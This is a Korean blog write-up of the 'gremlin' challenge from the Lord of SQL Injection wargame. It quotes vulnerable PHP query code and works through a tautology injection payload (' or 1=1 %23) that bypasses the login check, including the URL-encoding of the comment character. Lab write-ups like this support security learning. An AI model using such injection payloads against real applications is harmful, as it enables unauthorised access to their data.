MAIN IDEA : SQL Injection
// if result true
if($result['id'])
solve("gremlin");
위의 if 문을 만족하도록 우회를 해야하는 문제이다
result의 id 값이 존재해야한다
// save result
$result = @mysqli_fetch_array(mysqli_query($db,$query));
위의 코드를 통해 "result"에는 mysql 쿼리의 결과가 저장되는 것을 알 수 있다
// key query
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
위의 쿼리를 만족해야하지만 DB에 있는 ID와 PW를 알지 못한다
// key point
select id from prob_gremlin where id='test' and pw='' or 1=1 #'
위의 쿼리는 오류 없이 정상 동작한다
// answer
?id=test&pw=' or 1=1 #
위와 같이 값을 입력하면 답을 구할 수 있다
그러나 정답처리 되지 않았고 쿼리에 #이 제외된 것을 확인할 수 있다
// answer
?id=test&pw=' or 1=1 %23
위와 같이 #을 %23으로 url 인코딩 해주면 #을 입력할 수 있다
'Wargames' 카테고리의 다른 글
[LOS] goblin (0) | 2021.03.11 |
---|---|
[LOS] cobolt (0) | 2021.03.11 |
[Wargame.kr] QR CODE PUZZLE (0) | 2021.02.07 |
[Wargame.kr] flee button (0) | 2021.02.07 |
[Wargame.kr] already got (0) | 2021.02.07 |